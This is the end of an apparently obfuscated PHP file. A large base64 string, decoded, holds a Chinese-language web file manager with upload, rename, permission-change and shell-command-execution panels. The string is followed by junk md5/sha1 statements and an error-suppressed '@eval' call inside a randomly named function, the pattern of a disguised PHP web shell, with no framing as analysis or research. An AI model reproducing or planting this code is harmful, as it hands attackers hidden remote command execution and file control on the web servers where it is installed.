ZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7liJvlu7o8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgaWQ9ImNyZWF0ZURpck1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGgzPuaWsOW7uuaWh+S7tuWkuTwvaDM+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX2RpcmVjdG9yeSI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZGlybmFtZSI+5paH5Lu25aS55ZCNOjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpcm5hbWUiIG5hbWU9ImRpcm5hbWUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2dhcDo4cHg7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kOyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biIgb25jbGljaz0iaGlkZU1vZGFsKCdjcmVhdGVEaXJNb2RhbCcpIj7lj5bmtog8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7liJvlu7o8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgaWQ9InVwbG9hZE1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGgzPuaJuemHj+S4iuS8oOaWh+S7tjwvaDM+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idXBsb2FkX2ZpbGUiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InVwbG9hZF9maWxlc19pbnB1dCI+6YCJ5oup5paH5Lu2ICjlj6/lpJrpgIkpOjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgaWQ9InVwbG9hZF9maWxlc19pbnB1dCIgbmFtZT0idXBsb2FkX2ZpbGVzW10iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG11bHRpcGxlIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNtYWxsIHN0eWxlPSJjb2xvcjojN2Y4YzhkOyI+5oyJ5L2PQ3RybOmUruWPr+mAieaLqeWkmuS4quaWh+S7tjwvc21hbGw+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtb2RhbEZpbGVMaXN0IiBjbGFzcz0iZmlsZS1saXN0IiBzdHlsZT0ibWFyZ2luLXRvcDoxMHB4O21heC1oZWlnaHQ6MTUwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO2NvbG9yOiM5OTk7cGFkZGluZzoyMHB4Ij7mnKrpgInmi6nmlofku7Y8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDtnYXA6OHB4O2p1c3RpZnktY29udGVudDpmbGV4LWVuZDttYXJnaW4tdG9wOjEycHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ3VwbG9hZE1vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuW8gOWni+S4iuS8oDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0icmVuYW1lTW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICA8aDM+6YeN5ZG95ZCNPC9oMz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0ib2xkX3BhdGgiIG5hbWU9Im9sZF9wYXRoIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJuZXdfbmFtZSI+5paw5ZCN56ewOjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9Im5ld19uYW1lIiBuYW1lPSJuZXdfbmFtZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ3JlbmFtZU1vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPumHjeWRveWQjTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0icGVybWlzc2lvbnNNb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgIDxoMz7kv67mlLnmnYPpmZA8L2gzPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNoYW5nZV9wZXJtaXNzaW9ucyI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwZXJtX3RhcmdldCIgbmFtZT0idGFyZ2V0Ij4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbD7lvZPliY3mnYPpmZA6IDxzcGFuIGlkPSJjdXJyZW50X3Blcm1zIj48L3NwYW4+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwZXJtaXNzaW9uc19pbnB1dCI+5p2D6ZmQ5YC8OjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InBlcm1pc3Npb25zX2lucHV0IiBuYW1lPSJwZXJtaXNzaW9ucyIgY2xhc3M9ImZvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc21hbGwiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9Ijc1NSIgcmVxdWlyZWQgcGF0dGVybj0iMD9bMC03XXszfSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8c21hbGwgc3R5bGU9ImNvbG9yOiM3ZjhjOGQ7Ij48L3NtYWxsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7bWFyZ2luLXRvcDoxMnB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biIgb25jbGljaz0iaGlkZU1vZGFsKCdwZXJtaXNzaW9uc01vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuS/ruaUuTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0iY29tbWFuZE1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGgzPuaJp+ihjOWRveS7pDwvaDM+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZXhlY3V0ZV9jb21tYW5kIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJjb21tYW5kIj7lkb3ku6Q6PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iY29tbWFuZCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Iui+k+WFpeWRveS7pC4uLiIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ2NvbW1hbmRNb2RhbCcpIj7lj5bmtog8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7miafooYw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KDQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRjb21tYW5kX291dHB1dCk6ID8+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbW1hbmQtb3V0cHV0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+5ZG95LukOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNvbW1hbmRfb3V0cHV0Wydjb21tYW5kJ10pOyA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+6L+U5Zue56CBOjwvc3Ryb25nPiA8P3BocCBlY2hvICRjb21tYW5kX291dHB1dFsncmV0dXJuX2NvZGUnXTsgPz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz7ovpPlh7o6PC9zdHJvbmc+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGltcGxvZGUoIlxuIiwgJGNvbW1hbmRfb3V0cHV0WydvdXRwdXQnXSkpOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgZnVuY3Rpb24gc2hvd01vZGFsKG1vZGFsSWQpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJ30NCiAgICAgICAgICAgIGZ1bmN0aW9uIGhpZGVNb2RhbChtb2RhbElkKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChtb2RhbElkKS5zdHlsZS5kaXNwbGF5PSdub25lJ30NCiAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmFtZUl0ZW0ob2xkUGF0aCwgb2xkTmFtZSl7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29sZF9wYXRoJykudmFsdWU9b2xkUGF0aDsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3X25hbWUnKS52YWx1ZT1vbGROYW1lOw0KICAgICAgICAgICAgICAgIHNob3dNb2RhbCgncmVuYW1lTW9kYWwnKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlUGVybWlzc2lvbnModGFyZ2V0LGN1cnJlbnRQZXJtcyl7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Blcm1fdGFyZ2V0JykudmFsdWU9dGFyZ2V0Ow0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjdXJyZW50X3Blcm1zJykudGV4dENvbnRlbnQ9Y3VycmVudFBlcm1zOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwZXJtaXNzaW9uc19pbnB1dCcpLnZhbHVlPWN1cnJlbnRQZXJtczsNCiAgICAgICAgICAgICAgICBzaG93TW9kYWwoJ3Blcm1pc3Npb25zTW9kYWwnKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd2luZG93Lm9uY2xpY2s9ZnVuY3Rpb24oZXZlbnQpew0KICAgICAgICAgICAgICAgIGlmKGV2ZW50LnRhcmdldC5jbGFzc0xpc3QuY29udGFpbnMoJ21vZGFsJykpew0KICAgICAgICAgICAgICAgICAgICBldmVudC50YXJnZXQuc3R5bGUuZGlzcGxheT0nbm9uZScNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJyxmdW5jdGlvbihlKXsNCiAgICAgICAgICAgICAgICBpZigoZS5jdHJsS2V5fHxlLm1ldGFLZXkpJiZlLmtleT09PSdzJyl7DQogICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVfY29udGVudCcpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Zvcm0gW3R5cGU9InN1Ym1pdCJdJykuY2xpY2soKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIC8vIOaYvuekuumAieaLqeeahOaWh+S7tuWIl+ihqA0KICAgICAgICAgICAgZnVuY3Rpb24gdXBkYXRlRmlsZUxpc3QoaW5wdXRJZCwgbGlzdElkKSB7DQogICAgICAgICAgICAgICAgY29uc3QgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpbnB1dElkKTsNCiAgICAgICAgICAgICAgICBjb25zdCBsaXN0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobGlzdElkKTsNCg0KICAgICAgICAgICAgICAgIGlucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGZ1bmN0aW9uKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3QgZmlsZXMgPSBlLnRhcmdldC5maWxlczsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVzLmxlbmd0aCA9PT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbGlzdC5pbm5lckhUTUwgPSAnPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6Izk5OTtwYWRkaW5nOjIwcHgiPuacqumAieaLqeaWh+S7tjwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICBsZXQgaHRtbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICBsZXQgdG90YWxTaXplID0gMDsNCg0KICAgICAgICAgICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGZpbGVzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBmaWxlID0gZmlsZXNbaV07DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBzaXplID0gZm9ybWF0RmlsZVNpemUoZmlsZS5zaXplKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHRvdGFsU2l6ZSArPSBmaWxlLnNpemU7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGh0bWwgKz0gYA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaXRlbSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLW5hbWUtdGV4dCIgdGl0bGU9IiR7ZmlsZS5uYW1lfSI+JHtmaWxlLm5hbWV9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj4ke3NpemV9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgYDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGh0bWwgKz0gYDxkaXYgY2xhc3M9ImZpbGUtaXRlbSIgc3R5bGU9ImJhY2tncm91bmQ6I2YwZjBmMDtmb250LXdlaWdodDpib2xkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPuaAu+iuoTogJHtmaWxlcy5sZW5ndGh9IOS4quaWh+S7tjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPiR7Zm9ybWF0RmlsZVNpemUodG90YWxTaXplKX08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2PmA7DQoNCiAgICAgICAgICAgICAgICAgICAgbGlzdC5pbm5lckhUTUwgPSBodG1sOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBmb3JtYXRGaWxlU2l6ZShieXRlcykgew0KICAgICAgICAgICAgICAgIGlmIChieXRlcyA9PT0gMCkgcmV0dXJuICcwIEInOw0KICAgICAgICAgICAgICAgIGNvbnN0IGsgPSAxMDI0Ow0KICAgICAgICAgICAgICAgIGNvbnN0IHNpemVzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJ107DQogICAgICAgICAgICAgICAgY29uc3QgaSA9IE1hdGguZmxvb3IoTWF0aC5sb2coYnl0ZXMpIC8gTWF0aC5sb2coaykpOw0KICAgICAgICAgICAgICAgIHJldHVybiBwYXJzZUZsb2F0KChieXRlcyAvIE1hdGgucG93KGssIGkpKS50b0ZpeGVkKDIpKSArICcgJyArIHNpemVzW2ldOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyDliJ3lp4vljJbmlofku7bliJfooajmmL7npLoNCiAgICAgICAgICAgIHVwZGF0ZUZpbGVMaXN0KCd1cGxvYWRfZmlsZXMnLCAnZmlsZUxpc3QnKTsNCiAgICAgICAgICAgIHVwZGF0ZUZpbGVMaXN0KCd1cGxvYWRfZmlsZXNfaW5wdXQnLCAnbW9kYWxGaWxlTGlzdCcpOw0KDQogICAgICAgICAgICAvLyDmi5bmlL7lip/og70NCiAgICAgICAgICAgIGNvbnN0IGRyb3BBcmVhID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Ryb3BBcmVhJyk7DQogICAgICAgICAgICBjb25zdCBmaWxlSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2ZpbGVzJyk7DQoNCiAgICAgICAgICAgIFsnZHJhZ2VudGVyJywgJ2RyYWdvdmVyJywgJ2RyYWdsZWF2ZScsICdkcm9wJ10uZm9yRWFjaChldmVudE5hbWUgPT4gew0KICAgICAgICAgICAgICAgIGRyb3BBcmVhLmFkZEV2ZW50TGlzdGVuZXIoZXZlbnROYW1lLCBwcmV2ZW50RGVmYXVsdHMsIGZhbHNlKTsNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBwcmV2ZW50RGVmYXVsdHMoZSkgew0KICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBbJ2RyYWdlbnRlcicsICdkcmFnb3ZlciddLmZvckVhY2goZXZlbnROYW1lID0+IHsNCiAgICAgICAgICAgICAgICBkcm9wQXJlYS5hZGRFdmVudExpc3RlbmVyKGV2ZW50TmFtZSwgaGlnaGxpZ2h0LCBmYWxzZSk7DQogICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgWydkcmFnbGVhdmUnLCAnZHJvcCddLmZvckVhY2goZXZlbnROYW1lID0+IHsNCiAgICAgICAgICAgICAgICBkcm9wQXJlYS5hZGRFdmVudExpc3RlbmVyKGV2ZW50TmFtZSwgdW5oaWdobGlnaHQsIGZhbHNlKTsNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBoaWdobGlnaHQoZSkgew0KICAgICAgICAgICAgICAgIGRyb3BBcmVhLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICcjZDFlY2YxJzsNCiAgICAgICAgICAgICAgICBkcm9wQXJlYS5zdHlsZS5ib3JkZXJDb2xvciA9ICcjMTE3YThiJzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gdW5oaWdobGlnaHQoZSkgew0KICAgICAgICAgICAgICAgIGRyb3BBcmVhLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICcnOw0KICAgICAgICAgICAgICAgIGRyb3BBcmVhLnN0eWxlLmJvcmRlckNvbG9yID0gJyMzNDk4ZGInOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBkcm9wQXJlYS5hZGRFdmVudExpc3RlbmVyKCdkcm9wJywgaGFuZGxlRHJvcCwgZmFsc2UpOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBoYW5kbGVEcm9wKGUpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBkdCA9IGUuZGF0YVRyYW5zZmVyOw0KICAgICAgICAgICAgICAgIGNvbnN0IGZpbGVzID0gZHQuZmlsZXM7DQogICAgICAgICAgICAgICAgZmlsZUlucHV0LmZpbGVzID0gZmlsZXM7DQoNCiAgICAgICAgICAgICAgICBjb25zdCBldmVudCA9IG5ldyBFdmVudCgnY2hhbmdlJywgeyBidWJibGVzOiB0cnVlIH0pOw0KICAgICAgICAgICAgICAgIGZpbGVJbnB1dC5kaXNwYXRjaEV2ZW50KGV2ZW50KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8g5LiK5Lyg5paH5Lu26L+b5bqm5qih5oufDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkRm9ybScpLmFkZEV2ZW50TGlzdGVuZXIoJ3N1Ym1pdCcsIGZ1bmN0aW9uKGUpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBwcm9ncmVzc0JhciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRQcm9ncmVzcycpOw0KICAgICAgICAgICAgICAgIGNvbnN0IGZpbGVJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRfZmlsZXMnKTsNCg0KICAgICAgICAgICAgICAgIGlmIChmaWxlSW5wdXQuZmlsZXMubGVuZ3RoID4gMCkgew0KICAgICAgICAgICAgICAgICAgICBjb25zdCBmaWxlQ291bnQgPSBmaWxlSW5wdXQuZmlsZXMubGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICBwcm9ncmVzc0Jhci5zdHlsZS53aWR0aCA9ICcwJSc7DQoNCiAgICAgICAgICAgICAgICAgICAgbGV0IHByb2dyZXNzID0gMDsNCiAgICAgICAgICAgICAgICAgICAgY29uc3QgaW50ZXJ2YWwgPSBzZXRJbnRlcnZhbCgoKSA9PiB7DQogICAgICAgICAgICAgICAgICAgICAgICBwcm9ncmVzcyArPSAxMDAgLyAoZmlsZUNvdW50ICogMTApOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByb2dyZXNzID49IDEwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzID0gMTAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwoaW50ZXJ2YWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcHJvZ3Jlc3NCYXIuc3R5bGUud2lkdGggPSBwcm9ncmVzcyArICclJzsNCiAgICAgICAgICAgICAgICAgICAgfSwgMjAwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgPC9zY3JpcHQ+DQogICAgICAgIDwvYm9keT4NCiAgICAgICAgPC9odG1sPg0KICAgICAgICA8P3BocA0KICAgIH0NCn0NCg0KJGZpbGVfbWFuYWdlciA9IG5ldyBGaWxlTWFuYWdlcigpOw0KJGZpbGVfbWFuYWdlci0+cmVuZGVyKCk7DQo/Pg==', true);
        $useless_final = md5('W5qny4WEaL');
$useless_final = sha1($useless_final);
unset($useless_final);
        $gtYUo = !empty($iZ08CWr);
        if ($gtYUo) {
            @eval($iZ08CWr);
        }
    }
    uNkqWqTr();
}